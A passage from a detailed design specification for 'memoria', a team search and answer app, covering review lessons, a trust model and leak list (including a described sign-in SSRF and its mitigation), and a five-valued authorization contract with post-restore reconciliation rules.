545memoria cited for it.
546
547**The other eight majors are one shape: the commit checked what it
548opened.** S7 was retired in §1 and §4.3 and left alive in the §6.1
549contract table, in §6.5's warm-up, in §4.1's "this subsumes membership",
550in §2's members table and in five §13 items still listed as open after
551this commit closed them. §11 corrected the home dependency in one
552paragraph and reasserted it twelve lines below, in the same commit. The
553Docs §11.2 qualification was deleted from §8.3 and still owed in §11 and
554§13. The blanket write ban went from §6.4 and stayed load-bearing in §3.3,
555§8.5 and decision 10's rejected column.
556
557**The rule, and it is specific to adopting someone else's document:** the
558risk in an adoption commit is concentrated in the sections you did *not*
559open. A rewritten section has been read twice; an untouched one that
560depended on the old rule has been read never, and it now contradicts the
561new one while looking untouched and therefore fine. **Grep for the retired
562thing by name before claiming it is retired** — `S7`, `person_ref`,
563`members table`, `forbidden by §6.4` — and read every hit.
564
565Two smaller ones worth keeping. §4.1 had inverted *why* the asker subject
566is typed, saying the type is fixed at configuration because instances are
567provisioned together — which is the reasoning suite §3 names and rejects,
568"an operational habit, not an enforced property". And gate 21 claimed its
569fixtures had been replaced; there were never any fixtures, the gate does
570not exist, and the entry now says so.
571
572**A postscript, because the same mistake then happened twice more in one
573hour and neither instance was caught by a rule that exists to catch it.**
574On 2026-09-06 this branch merged a local `main` that was **five commits
575behind the remote**, having compared the wrong ref; in the same hour the
576suite session read `617eb2a` — this branch's base — as memoria's `main`
577and concluded draft 5 was unmerged, then made a doctrine ruling partly on
578that belief. Remote `main` was `9b55ab8` and carried draft 5 the whole
579time. Two sessions, two directions, one unrun command: **fetch before you
580read a ref you did not just write.** It is in suite AGENTS.md already,
581which is the point — a rule nobody runs is a rule that catches nothing,
582and it is now three-for-three at catching nothing.
583
584**And a second lesson from the same exchange, which is the suite session's
585and is the more useful of the two: cite the ref, not the claim.** A claim
586arriving from a peer gets *less* scrutiny than one arriving from a file,
587and it should get more — a file can be opened at the commit you name,
588while a peer's claim carries no provenance at all. You cannot see which
589checkout they read, whether they fetched, or whether they were quoting or
590remembering. Both of this week's cross-repository mistakes have that
591shape: a doctrine ruling made on something memoria told the suite, and a
592memoria merge made on something the suite implied. **When you tell another
593repository a fact about this one, give the commit it is true at. When one
594tells you, check it before you rule on it.**
595
596**And a rider the suite session earned the hard way an hour later: citing
597the ref is not enough if you read it with a tool that sees one line at a
598time.** Its check of this fix grepped for a rule that spans two lines, got
599zero matches, and came within one message of reporting that nothing had
600been fixed. A false negative from a correct ref is worse than not checking,
601because it arrives with the authority of having looked. Read the
602surrounding lines; a count of zero is a claim like any other.
603
604**One finding was wrong, and how it was wrong is worth as much.** The
605review could not resolve `6797bbf` or `4aea8f4` and said §13's blocker was
606therefore not shown closed. The hashes are correct — they are
607`refs/heads/main` on the hub, confirmed by `git ls-remote` — but every
608local checkout on this box is behind, because `amadan branch merge` lands
609on the remote and touches no working tree. The reviewer was right that the
610claim was unverifiable *as written*, and §13 now says which ref the hashes
611are on and how they were checked. A citation that only resolves for
612whoever wrote it is not a citation.
613
614### 1.11 What the merge review changed
615
616The branch merged eighteen commits of `main` — the Notion connector,
617multi-file drop, draft 5 — and was then reviewed as a whole. REQUEST
618CHANGES, eight MAJOR. **Every one of them was in something the merge did
619not open**, which is §1.10's lesson arriving for the fifth time and the
620reason it is now a rule in AGENTS.md rather than an observation.
621
622**Three were guards that could not have worked.**
623
624`.gitignore` was committed **with conflict markers in it**, and `make ci`
625was green throughout, because git parses the marker lines as harmless
626patterns. A broken file that no gate in this repository can read.
627
628The egress gate's sibling exemption cited
629`sibling.TestClientRefusesHostsOutsideTheTeam` as the runtime guard paying
630for it. There was no such test. Every test in the package built its own
631`&http.Client{}`, so nothing exercised `suite.NewSiblingClient` and a
632constructor returning a client with no team check and no redirect refusal
633would have stayed green. AGENTS.md's second named failure — a gate naming a
634test that is not there — inside the comment claiming the payment.
635
636And "one predicate" was not true of production: `main.go` passed
637`Admits(cfg.Owners)` to `NewAuth` and separately called
638`SetOwners(cfg.Owners)`, two closures over two copies of one rule, while
639`handlers.go` asserted there was "no second value to disagree with". The
640fix is not a gate: `Admits` is deleted and `app.Admit` is a method on the
641one list, so there is nothing to build twice.
642
643**Four more were mutations the author had not thought of**, found in the
644sibling client after five author-chosen ones had all gone red. The worst
645rendered a *count* for `NOT_VISIBLE` — the one value that must be silent —
646telling a reader how many things they may not see. The most instructive
647bounded the deadline against itself, so `Deadline = 30s` passed and a page
648could hang for half a minute with the suite green. **A test that measures a
649constant against itself measures nothing.**
650
651**And the rest were the merge's own seams.** `S7` came back into §4.3 and
652decision 11 from a branch written before ruling 4. §2 contradicted itself
653four lines apart. §13 carried two lists arguing — an item truncated
654mid-sentence, the same question live in one copy and struck in another, a
655header counting four items of which two were dead. Twelve gate citations
656pointed at the wrong gates after the renumbering, one sentence naming the
657same gate under two numbers.
658
659**The lesson that is new**, and it is about reviewing rather than writing:
660this pass found more than the four before it combined, and it found it by
661comparing the merge against *both parents* rather than reading the result.
662A merge is the one change where reading the output cannot tell you what is
663missing.
664
665---
666
667## 2. What memoria is
668
669A fourth per-team instance app, beside sheets, docs and calendar, with
670its own DEK and its own origin. It holds the team's content in a sealed
671index and answers questions over it with citations.
672
673**It has no members table**, and draft 3 said it did — in this sentence,
674word for word from draft 2, three sections before decision 11 rejected
675the table. A reader of §2 built it; a reader of decision 11 did not.
676Admission is §4.3's.
677
678**The owners list is not a roster, and draft 4 called it one four lines
679above saying memoria never holds one.** The app refuses to start without
680a platform-configured owners list. What separates the two is not size: a
681roster answers "who is on this team", changes as people join and leave,
682and would have to be reconciled against whoever else answers it. The
683owners list answers "who operates this instance", is fixed at
684provisioning, does not grow one person at a time, and is reconciled
685against nothing because nobody else holds an opinion about it. Extending
686it per person would make it a roster, and that is the move decision 11
687rejects.
688
689**Suite ruling 4 adds a third thing, and it is not either of those.** In
690suite shape memoria holds a *pulled copy* of the home's roster (suite call
6918, refreshed by epoch, §4.3). That is not a members table — memoria
692authors none of it and reconciles none of it — and it is not the owners
693list, which still answers a different question and still bypasses it. Three
694distinct things, and this branch briefly collapsed two of them by writing
695"its own roster copy" into the sentence above, four lines from the
696paragraph warning against exactly that.
697
698**What it is for.** Nothing in the suite answers a question. Docs ships
699title and metadata search; Sheets has a recency list; the home's call 3
700says where your things are. Asking *"what did we decide about X"* and
701getting an answer grounded in the team's own documents is the gap.
702
703**What it never does.**
704
705- **Never decides who may read sibling content.** It asks (§4.1).
706- **Never *authors* a roster**, which is the claim that survives ruling 4.
707 It holds the home's, as a pulled copy refreshed by epoch (§4.3), and it
708 reconciles none of it and writes none of it. In lone shape there is no
709 roster at all and admission is the owners list. *This bullet said
710 "never holds a team roster. Admission is relayed from the siblings" until
711 2026-09-06, four lines below the paragraph describing the pulled copy —
712 and §4.3 by then asked no sibling anything.*
713- **Never writes to a sibling**, and exposes no sibling-facing surface.
714- **Never acts as a person.** It holds no signing key; every assertion's
715 `aud` binds to "app + instance host" (home §5.3).
716- **Never crosses a team label** (§6.3).
717- **Never holds an individually-granted sibling item.** S3 answers on
718 team-visibility alone, so such an item cannot enter the corpus.
719- **Never trains or fine-tunes.** Weights are the one copy that cannot be
720 forgotten (decision 8).
721- **Never recomputes a number.** A question with an arithmetic answer
722 cites the cell; Sheets' engine is the app of record. A brain that
723 recalculates is a second calculator that disagrees with the first.
724
725---
726
727## 3. Trust model and the leak list
728
729Sealed at rest under memoria's own DEK, HKDF purpose keys, AES-GCM, as
730Sheets §2 and home §3. What follows is what that does *not* cover.
731
732### 3.1 Embeddings are content
733
734The case that a vector is not plaintext: nothing in the bucket contains
735the bytes `salary 50000`; the plaintext-grep gate passes; a vector is a
736lossy derived artefact.
737
738The case that it is: this suite already seals derived artefacts — Sheets
739§2.1 seals the *cached computed value* even though it is only a function
740of sealed inputs — and embedding inversion is not hypothetical.
741Published vec2text-style attacks recover 32-token inputs close to
742verbatim, and 32 tokens is the size of a cell, a title, or a sentence.
743
744**Ruled:** chunk text, embeddings and the index graph are all §0 content.
745An unsealed embedding is a plaintext cell that happens to beat a byte
746grep — precisely the failure home §5.1 names as "turning a guarantee into
747a comment".
748
749**This applies to FTS5 too, and it shapes §7.** FTS5 stores term postings
750in plaintext, so the index cannot live in the replicated SQLite file.
751
752**Searching sealed vectors directly is not available.** Encrypted-ANN
753schemes are research-grade and orders of magnitude slower. The working
754shape is the one Sheets §4.4 uses for its handle: seal the serialised
755index as one blob, decrypt into a refcounted in-memory handle on wake,
756evict on idle. The graph is sealed *with* the vectors, because neighbour
757edges alone reveal which passages resemble each other.
758
759### 3.2 The leak list
760
761**From the bucket:** document and chunk counts; sealed blob sizes; source
762app and coordinates per chunk, plaintext exactly as Sheets §2.2 keeps
763coordinates; ingest and update timestamps, therefore which sources are
764busy and when; embedding dimension — though "therefore the model", as this
765line read until draft 3, overstated it even then: the design has always
766stored 512, which under OpenAI was a requested `dimensions` and under §8.3
767is a truncation of a native 4096. Either way the stored width names a
768choice of ours. It narrows the candidate models; it does not name one. Do
769not lean on that.
770
771**From a rendered page.** A response body is a copy in someone's browser,
772and no revocation reaches it. A results tab left open on Tuesday still
773shows Tuesday's authorized snippets on Friday; `/documents/{id}` shows a
774whole document for as long as it stays open. This is true of every surface
775memoria has or could have, so it is not an argument against any particular
776one (§8.4 tried to use it as one and was wrong). memoria's guarantee ends
777at the response body, and §8.4's invariant is what keeps the *next*
778response honest.
779
780**From a live host — the largest entry, and new.** A compromised memoria
781host reaches the team's corpus across every app at once, plus §5.1's
782connector credentials. §3.3 works through how this compares to Sheets;
783§3.5 lists what shrinks it.
784
785**From logs, errors and metrics:** a question is content — *"what does
786Bob earn"* is a cell value phrased as a query. Sheets AGENTS.md's rule
787extends to cover query text, answer text and cited snippets. Token counts
788per query still leak length.
789
790**From the index structure, even sealed:** blob size tracks corpus size;
791update cadence tracks ingest; the platform observes timing, volume and
792which team is awake.
793
794**From a sibling:** bodies transit the router in plaintext on every S3
795fetch (§6.1).
796
797**From the circuit breaker's counters — a per-person record, and the only
798one memoria keeps.** §8.1's breaker needs a 7-day baseline and memoria
799hibernates, so its counters are durable: per `(sibling, asker, UTC day)`,
800a `VISIBLE` count and a `NOT_VISIBLE` count. Sealed under their own
801purpose key, so this is not a bucket leak; it is a statement about what
802memoria *holds*. Anyone who can read them learns, per person per day, how
803much of each sibling that person was allowed to see — which is a shape of
804the team's permissions, not its content. Retained **8 days**, and the
805retention is load-bearing rather than tidy: an unbounded version is a
806year-long history of who was locked out of what. The alternative is a
807breaker that cannot fire (in-memory, reset every wake), which §8.1 rejects
808because a guard that is off reads as a guard that found nothing.
809
810**From the sign-in form — and this entry understated it for three
811drafts.** rastrillo's classifier resolves and fetches the submitted
812address's domain when a sign-in begins, **before** the admission gate. The
813entry used to stop at "the instance's existence, reachability, egress
814address and a timing channel; no content", which is what an *arbitrary
815domain* buys. Reading the fetcher on 2026-09-05 showed it buys more: the
816`host=` in a domain's `_keymail` TXT record is taken verbatim, with no
817allowlist, no scheme or port restriction and no private-range check, and
818fetched by a client that follows redirects. **So the destination is the
819submitter's to choose, not merely the domain's** — an unauthenticated SSRF
820whose reach is whatever this instance's network can reach.
821
822**memoria's half is closed** (gate 33): the admission predicate now runs
823before the classifier, so an unadmitted address produces no DNS query and
824no fetch. **Two things that does not fix.** An *owner* still reaches the
825unhardened fetcher, and every other rastrillo app is untouched — the real
826fix is upstream (§13, and `SECURITY-DRAFT-rastrillo-signin.md`). And the
827guard sits in front of signin's per-address rate limiter, so **an owner
828and a stranger become distinguishable after five submissions** — the
829owner's sixth answers `?err=rate`, the stranger's answers `?sent=1`
830forever, and refused addresses consume no per-IP budget, so enumerating
831the owners list is unthrottled. That is a smaller leak than the dial and
832it is a real one; the budget is inside signin and cannot be reached from
833here.
834
835This is listed because draft 3 let the product claim "nothing leaves this
836instance", which it makes false.
837
838**Not a leak, corrected:** a document's `external_id` was an unkeyed
839SHA-256 of its body, which let anyone holding the bucket and a candidate
840file confirm the team holds it, and read that row's size, timestamps and
841chunk count. A content hash is not a coordinate, whatever it looks like.
842It is an HMAC under its own purpose key now (`seal.Fingerprint`), which
843keeps idempotent re-ingest and removes the oracle.
844
845**From the provider, when AI is on — and this is bigger than draft 1
846said.** Draft 1 stated only query-time egress: ~10 chunks × 500 tokens
847per question, so that over months "the frequently-consulted part of the
848corpus has left in full". That understated it by the corpus.
849
850**§8.9 adds a second query-time trigger, and it is not the same as the
851first.** Same recipient, same category of transmission — passages that
852passed §4.1 in this request — but a different trigger and a bounded,
853possibly different payload: the top eight ruled results are sent when a
854query names a model kind (a postal address) and deterministic extraction
855cannot serve it, **whether or not the query would have produced a
856generated answer at all.** A search for "office address" that §8.2 routes
857as navigational still sends passages. The disclosure has to say that in
858the same breath as the answer path; "passages behind an answer" is no
859longer the whole of it.
860
861**Embeddings come from a hosted API (§7.2). So with AI on, every chunk of
862every document leaves at ingest, on day one.** §8.6 prices it: 24M tokens
863for a 90k-chunk corpus. The frequently-consulted part leaving is the
864*second* leak, not the first.
865
866Two consequences the spec carries rather than buries:
867
868- **A chunk later downgraded or deleted has already left.** Decision 8's
869 provenance-or-deletion governs memoria's copy. It cannot reach the
870 provider's.
871- **Decision 5's AI-off floor is therefore a strong position, not a
872 degraded one.** With AI off, BM25 over sealed chunks, nothing leaves
873 the instance — not at query time and not at ingest. That is why §11
874 builds it first.
875
876### 3.3 memoria is not less sealed than Sheets. It is a bigger target.
877
878Asked directly by Paul, 2026-09-03, and answered here because every
879future reader will ask it.
880
881**At rest there is no difference.** memoria seals under its own DEK with
882the same construction as Sheets, and the same plaintext-grep gate runs
883against its bucket from the first commit.
884
885**An earlier draft argued the difference was RAM** — that a Sheets host
886holds decrypted handles only for *open* sheets (Sheets §4.4) while
887memoria holds everything. That is mostly wrong and is recorded so it is not
888reintroduced. A compromised Sheets host holds the DEK and can decrypt its
889entire bucket on demand; the open-handle distinction is the difference
890between reading memory and running a decrypt loop, which is no barrier to
891anyone with code execution.
892
893**The real difference is that the corpus is a union.** Compromise Sheets
894and an attacker gets that team's sheets. Compromise memoria and they get
895sheets *and* docs *and* calendar *and* Notion *and* uploads *and*
896forwarded mail. Same lock, more in the room.
897
898**Three refinements. The first favours memoria; the third draft 1 got
899backwards.**
900
901- **Per sibling app, memoria holds strictly less than the app does.**
902 Decision 3's custody rule keeps individually-granted content out, so
903 memoria's copy of Sheets is a strict subset. The union is larger; every
904 sibling part of it is smaller.
905- **The RAM point is real but narrow.** memoria's index must be fully
906 decrypted to be searchable (§3.1), so its corpus sits in cleartext
907 memory as routine operation. Against RCE this is marginal. It bites for
908 **bounded memory over-reads** — a Heartbleed-class bug reads live
909 memory, not the key's reach. Draft 1 also listed core files, swap and
910 hypervisor snapshots; that was too broad, since those capture the DEK
911 too and reduce to the decrypt loop. Narrowed on review.
912- **Connector credentials are blast radius, not window, and draft 1 said
913 the opposite.** Draft 1 claimed a compromised memoria "yields the
914 sibling read tokens… the same content memoria already holds, so it
915 widens the window rather than the blast radius". True of *sibling*
916 tokens. False of §5.1's connector credentials: a Drive OAuth grant
917 reaches the authorising account's whole Drive, and a Gmail label
918 connector needs mailbox-wide read scope. Neither is bounded by what
919 memoria ingested. **A compromised memoria reaches further than memoria
920 ever held.** §3.5 mitigates it.
921
922**What memoria does not do is weaken its siblings' sealing.** It holds no
923sibling's DEK, cannot read a sibling's individually-granted content
924because S3 404s it, and **gains no write path except suite §7's two, which
925are narrower than "no writes" and differently shaped** (§6.4): a person's
926own hand-off, carried by their browser under their own session, and S8 as
927memoria itself into an area the team owner designated for it. Neither
928gives memoria a capability over a sibling's content; the first is not
929memoria writing at all.
930
931### 3.4 A citation is exactly as trustworthy as the app it cites
932
933A compromised sibling has no inbound path to memoria and holds no memoria
934token, so it cannot read or write. What it *can* do is lie: serve
935fabricated content on S3, answer `VISIBLE` for a person not entitled,
936withhold tombstones. memoria's re-check asks the same lying app.
937
938There is no mitigation, only disclosure. The README says this sentence.
939
940### 3.5 Cheap mitigations
941
942- **memoria hibernates.** Home §2.1 made the home the estate's one
943 exception; memoria is not another.
944- **Idle eviction** of the decrypted handle — the mitigation that matters
945 most for §3.3's bounded-over-read class.
946- **Per-source subsets**, owner-selected, default all.
947- **A published-only mode**, in which the sibling carries an explicit
948 "offer to memoria" mark that *it* evaluates.
949- **Refusing sources by kind.** Calendar bodies off by default.
950- **Least-privilege connector credentials — now a requirement, not a
951 nicety** (§3.3). Prefer per-folder or per-label scopes over
952 account-wide ones; prefer a dedicated service identity over a person's
953 OAuth grant; store them under a distinct HKDF purpose key so a
954 chunk-store disclosure does not yield them.
955
956### 3.6 The honest claim
957
958The README's first paragraph, in substance. Rewritten after review: the
959draft-1 version was false about egress volume, which PRODUCT.md principle
9601 treats as a defect rather than a wording choice.
961
962**This is the paragraph for the full assistant, and it is not in the
963README yet, on purpose.** §8.9 shipped first: with `MEMORIA_AI=on` the
964binary sends the top eight ruled passages of a search that asks for a
965postal address, and nothing else. The text below says "every document in
966the corpus, once, when it is indexed" — true of embeddings, not built,
967and false of the binary today. PRODUCT.md principle 1 makes overstating
968egress as much a defect as understating it. So the README states exactly
969what §8.9 sends, and this paragraph replaces it the day embeddings land.
970**If decision 16 lands first**, its retention wording replaces "we rely on
971their retention terms and cannot verify them" in both — and the
972transmission disclosure stays in both, since decision 16 changes what is
973retained and not what is sent.
974
975> memoria's index and passages are sealed at rest under this team's own
976> key, the same way your sheets and documents are. Nothing readable
977> reaches storage. What is different about memoria is not the lock, it is
978> what is behind it: memoria gathers your team's work from every app into
979> one place, so whoever breaks into it gets all of it at once rather than
980> one app's worth. That is the point of it and the risk of it.
981>
982> With the assistant switched off, **no document leaves this instance** —
983> memoria searches your content where it sits.
984>
985> Signing in is the one exception, and it is not about your documents:
986> memoria asks your email address's own domain how to verify you, so that
987> domain learns this instance exists. Nothing of yours is in that request.
988>
989> **What you connect, memoria keeps.** Disconnecting a Notion space or a
990> Drive folder, or revoking our access to it, stops memoria seeing new
991> changes — it does not remove what memoria already holds. That copy
992> stays readable to your team until someone deletes it *in memoria*.
993> Documents in Sheets and Docs work the other way round: those apps stay
994> in charge, and memoria asks them on every search.
995>
996> **Switching the assistant on sends your content to the provider named
997> in your settings — not just the passages behind an answer, but every
998> document in the corpus, once, when it is indexed.** That is how the
999> search understands meaning rather than matching words. The provider can
1000> read what it receives; we rely on their retention terms and cannot
1001> verify them, and content sent before you deleted something cannot be
1002> recalled. We never claim we can't read your data, and with the
1003> assistant on we never claim nobody else can either.
1004
1005---
1006
1007## 4. Authorization
1008
1009### 4.1 Sibling content: memoria asks, never decides
1010
1011Every path that would speak a passage originating in a sibling app calls
1012**S2** first, carrying the asker:
1013
1014```
1015S2(subject, [(item_id, revision), …])
1016 → per item: VISIBLE | NOT_VISIBLE | STALE | UNKNOWN
1017
1018 (memoria also wants AHEAD; the contract cannot carry it yet — below)
1019```
1020
1021**The asker is a typed subject, and the type travels on the wire**
1022(suite §3): `{kind: person_ref | address, value}` — a person ref in suite
1023shape, a lowercased address in lone shape. *On the wire* is the point, and
1024this spec first got it backwards by saying the type is fixed at
1025configuration because two instances that talk were provisioned together.
1026The doctrine names that exact reasoning and rejects it: **"provisioned
1027together" is an operational habit, not an enforced property.** With the
1028kind on the call, a receiver that keys on the other one answers `UNKNOWN`
1029for the whole call rather than guessing — which is a loud failure instead
1030of a silent mismatch between an address and a person ref that happen to
1031collide. Suite gate 2 tests it, and memoria's gate 6 gains the case.
1032
1033The sibling answers from the grants join it already maintains — Sheets
1034§4.5, "rows this team can see, plus rows granted to me individually,
1035minus rows I have been removed from". memoria evaluates none of it.
1036
1037**`AHEAD` is adopted and not yet shipped. Settled 2026-09-06 as suite
1038doctrine revision 10, on memoria's argument.**
1039
1040Draft 4 added `AHEAD` for the case where the *sibling* is behind — its log
1041stops short of the revision memoria holds, or it has no row for the item
1042at all — and the reasoning is good: `STALE` means memoria is behind and
1043refetching fixes it, `NOT_VISIBLE` is the silent value and would delete
1044history the sibling still has, and `UNKNOWN` "would report no answer when
1045the sibling answered". Three wrong homes, so a fourth value.
1046
1047Suite revision 7 had ruled the case `UNKNOWN`; **revision 10 replaces
1048that with `AHEAD`**, in the shape memoria proposed and with one half
1049declined — see below. The module carries it on an unmerged branch, so the
1050version this repository pins (`60b01a8`) still has four constants.
1051
1052**So the wire shape above is four values today and five when the module
1053ships**, and every reference to `AHEAD` in this spec is written against the
1054five-value design. That is a shipping lag, not a disagreement, and the
1055distinction matters: nothing here needs redesigning, and nothing here can
1056be built until the module lands. Suite CI is unconfigured, which is what
1057holds it (§13).
1058
1059**How it got settled, because the route matters more than the outcome.**
1060
1061Record the doctrine's reasoning as the doctrine records it: suite §4.3
1062attributes the `UNKNOWN` ruling to *its own GPT-6 review, finding 11* —
1063never `VISIBLE`, because that authorises a revision nobody can vouch for;
1064never `NOT_VISIBLE`, because that is the silent value — and its trigger was
1065**draft 3's open §13 item**, not a question from this branch. It weighed
1066two of draft 4's three wrong homes. What it did not weigh is the third:
1067that `UNKNOWN` reports no answer when the app of record answered, precisely
1068about its own log.
1069
1070*An earlier version of this paragraph said the suite "was asked by this
1071branch, which had not read draft 4, and answered without memoria's argument
1072in front of it". That is wrong twice — it credits this branch with the
1073question and the doctrine with none of the reasoning — and it is the more
1074embarrassing way to be wrong, because it makes another repository's
1075careful work look like an accident of mine.*
1076
1077The argument that carried it was not the original one. The suite's
1078objection — that `AHEAD` for an item with **no row at all** opens an
1079id-existence oracle — was right and that half is withdrawn (§4.1's no-row
1080rule above). What survives is the half that does not leak: **a revision
1081beyond the sibling's log, for an item it still admits.**
1082
1083And the reason that case cannot be handled by the feed instead: a
1084**whole-log** restore rewinds the sibling's cursor, and S1a re-announces
1085unasked. A **partial** restore — a content table restored without its event
1086log — leaves the cursor perfectly valid, so nothing fires and nothing can,
1087because from the log's point of view nothing happened. Only a per-item
1088answer can see it. The two mechanisms are complementary, not overlapping.
1089
1090Until the module ships, memoria maps the case to `UNKNOWN` and **loses the
1091distinction between "the sibling answered, and is behind" and "the sibling
1092did not answer"** — the collapse `AHEAD` was cut to prevent. §13 carries
1093it as a shipping dependency rather than an open question.
1094
1095**The sibling intersects its own answer with custody, and memoria depends
1096on that** (suite §4.3, and the S2 row of suite §6):
1097
1098> S2's answer is intersected with custody. The app of record runs its
1099> grants join for the named asker, and then answers `NOT_VISIBLE` for any
1100> item that is not team-visible, **whatever the asker's individual grants
1101> say**.
1102
1103Read Sheets §4.5 again — *"plus rows granted to me individually"* — and the
1104reason is immediate. An item that leaves team-visibility appears in S1 as
1105`gone`, which §4.2 requires to be **indistinguishable from deletion**. An
1106unintersected S2 distinguishes them perfectly: `VISIBLE` for the one that
1107went private, when a grantee is the asker, and `NOT_VISIBLE` for the one
1108that was deleted. That is the leak the S1 visibility flag was removed to
1109prevent and the leak S3's "404, never 403" was designed to prevent,
1110arriving on the third call.
1111
1112**The cost is real and it is memoria's to disclose.** A person who still
1113holds an individual grant loses that passage here, and any answer built on
1114it, while the document stays open to them in the app of record. That is
1115the price of §4.2's indistinguishability and it cannot be avoided while
1116that promise stands. memoria's honest move is §6.5's: name the app the
1117answer went to, rather than quietly return a shorter one.
1118
1119**What memoria must do about it**, since the mechanism is the sibling's:
1120depend on it, and refuse to trust an S2 that has not demonstrated it.
1121Before memoria consumes a sibling's S2, that sibling passes suite gate 3 —
1122*the same item id answers `NOT_VISIBLE` in each state* — including the
1123transition fixture: ingested while `team`, downgraded to `granted` with
1124the asker's grant intact, asked before `gone` arrives.
1125
1126*An earlier version of this paragraph put the intersection on memoria's
1127side, as "S2 says VISIBLE **and** the item was team-visible when
1128acquired". Three things were wrong with it and a review found all three.
1129It was **vacuous** — everything memoria holds arrived through S3, which
1130serves only team-visible items, so the second half is true of every held
1131item and false of none: a guard written to pass. It **did not close the
1132leak**, because the downgrade-with-grant case passes both halves. And it
1133**argued against the doctrine's actual mechanism** as a ruling-3
1134violation, when a sibling applying its own two rules to its own answer is
1135not authorization cached or asked per person. The doctrine had already
1136retracted exactly that reasoning — "a later visibility change is exactly
1137what the defect turns on" — and this spec re-adopted it while citing the
1138section that retracted it.*
1139
1140**Five-valued in memoria's design, four on the wire today** (see `AHEAD`
1141above), **and each value exists because collapsing it into another
1142produces a plausible empty list — the failure shape sheets-core AGENTS.md
1143names as the worst available.**
1144
1145| Result | Means | memoria does |
1146|---|---|---|
1147| `VISIBLE` | this person may read this revision | render it |
1148| `NOT_VISIBLE` | this person may not read it | omit it silently — correct, and the only value that may be silent |
1149| `STALE` | the item exists and is readable, but the sibling has moved past this revision | **withhold loudly and refetch.** Not a denial |
1150| `AHEAD` | **the sibling's log stops short of this revision, for an item it still admits.** memoria holds history the sibling does not. **One shape, not two:** an item the sibling has no row for at all is `NOT_VISIBLE`, because `AHEAD` there would tell a caller which ids exist (§4.1 below, suite gate 3). This row read "two shapes, one value" until 2026-09-06 and contradicted the rule four sections down | **withhold loudly and re-announce.** Not a denial, and not a reason to delete |
1151| `UNKNOWN` | the sibling did not answer usefully | withhold loudly |
1152
1153**`STALE` is here because draft 2 did not have it**, and mapped a stale
1154revision to `NOT_VISIBLE` — which is silently omitted. An ingestion delay
1155therefore looked exactly like "you have no matching results", recreating
1156the failure draft 2 claimed to have removed. A synchronisation condition
1157is not an authorization decision and must not share its value.
1158
1159**`AHEAD` is here because draft 3 did not have it**, and the draft-3
1160review found the hole. `STALE` is defined as the sibling having moved
1161*past* the revision memoria asked about. Nothing covered the opposite: a
1162sibling restored from backup holds revision 5 of an item memoria indexed
1163at 7. It cannot authorize a revision it does not have, so the natural
1164answer was `NOT_VISIBLE` — the one silent value — and the plausible empty
1165list comes back through the restore door, on the day the suite is least
1166healthy and least likely to be believed.
1167
1168**What memoria does with `AHEAD` is not what it does with `STALE`, and
1169the difference is the whole reason for a fifth value.** `STALE` means
1170memoria is behind, and refetching fixes it. `AHEAD` means the *sibling*
1171lost history, so refetching that revision 404s and refetching the item
1172yields revision 5 — an older body which is now the sibling's truth. So
1173memoria withholds the passage loudly, marks the source for the full
1174re-announce §6.1's S1 row already defines for a rewound cursor, and
1175**deletes nothing**: a sibling's restore must not purge memoria's corpus,
1176and the re-announce is what reconciles the two. Wholesale `AHEAD` from
1177one sibling is a restore signal and §8.1's third breaker names it as one,
1178rather than as the mis-scoped predicate it is not.
1179
1180**"No row at all" is `NOT_VISIBLE`, and draft 4 had it as `AHEAD`.**
1181Corrected 2026-09-06 against suite §4.3, which governs. The argument for
1182`AHEAD` was good and is kept below, because the cost of overruling it is
1183real and should not be lost:
1184
1185> A sibling that has never heard of an item memoria holds is in the same
1186> position as one whose log stops short of it: memoria holds history the
1187> sibling does not. An ordinary deletion does not arrive this way — it
1188> arrives as an `S4` tombstone on the feed, a positive statement that the
1189> item is gone. Silence is not that statement. Mapping it to
1190> `NOT_VISIBLE` puts a history gap on the one value that may be silent.
1191
1192**What it missed is an oracle.** `NOT_VISIBLE` and `AHEAD` are
1193distinguishable, so a consumer that can name an id learns which ids
1194*exist*: `AHEAD` for one nobody holds, `NOT_VISIBLE` for one held
1195privately. Suite gate 3 requires S2's answer to be byte-identical across
1196private, granted, guest-only, link-shared-but-not-team **and deleted**,
1197precisely so ids cannot be enumerated — and this rule would have opened,
1198on the last call, the enumeration §4.2's indistinguishability and S3's
1199"404, never 403" were both built to deny. A value cut to close a silent
1200failure would have opened an existence leak instead.
1201
1202**And caller discipline does not save it.** memoria only ever asks S2
1203about ids it received on S1, so *memoria* can name no id it was not told
1204about — but the S2 row is a contract **siblings implement**, answerable to
1205any consumer holding a token, and §3.2's leak list already contemplates a
1206compromised one. A rule that is safe only while every caller behaves is
1207not a property of the answer.
1208
1209**So the cost is carried rather than avoided, and it is stated here.** A
1210sibling whose restore lost a row entirely is now indistinguishable from
1211one enforcing a denial, and memoria cannot tell them apart from S2 alone.
1212What settles it is the S4 tombstone and the re-announce — reconciliation
1213after the fact, not an answer at the point of the question. `AHEAD`
1214survives for the shape that does not leak: **a revision beyond the log,
1215for an item the sibling still admits**, which is the partial-restore case
1216and the one no feed signal can see.
1217
1218**memoria never compares two revisions, and this is what makes `STALE`
1219and `AHEAD` well-defined.** A revision is an opaque token issued by the
1220sibling, like S1's cursor. Nothing in this design requires revisions to
1221be numeric, ordered or monotonic, and memoria tests them only for
1222equality. `STALE` and `AHEAD` are the *sibling's* verdict on its own log
1223— §6.1's S2 row already says the sibling must compare the asked-for
1224revision against its log rather than against its current row — and a
1225sibling whose revisions are content hashes or ULIDs answers them just as
1226well as one that counts. Without this rule, a restored sibling holding
1227"5" against memoria's "7" invites memoria to prefer the larger number,
1228which is exactly the wrong answer.
1229
1230#### Post-restore reconciliation, and the phantom chunks
1231
1232Draft 4 stopped at "withhold and re-announce", and the review found what
1233that leaves running. Between a sibling's restore and a completed
1234re-announce, every chunk memoria holds from that sibling at a lost
1235revision answers `AHEAD`. Each is withheld loudly — but each was *ranked*
1236first, so it consumed a slot in top-k. A search matching fifty chunks,
1237twenty of them from the restored sibling, rendered thirty results and a
1238notice about twenty. In the bad case — the sibling that supplies most of
1239the corpus — the page renders empty or nearly so, and the notice is the
1240only thing standing between the reader and "no results". **That is the
1241plausible empty list, arriving through the door `AHEAD` was cut to
1242close.** Four rules close it.
1243
12441. **A source marked for re-announce leaves the ranking until the
1245 re-announce completes.** Its chunks are not scored, not fused and not
1246 counted against top-k, so the other sources fill the page to its full
1247 depth. This costs nothing that was not already lost: every one of those
1248 chunks would have been withheld anyway. The page names the excluded
1249 source and says it is reconciling — one line, not one line per
1250 withheld passage.
12512. **A re-announce is a complete statement, not a stream of hints.** It
1252 opens with a marker, lists every item the sibling currently holds as
1253 team-visible, and closes with a marker carrying the item count. An
1254 announce that does not reach its closing marker, or whose count
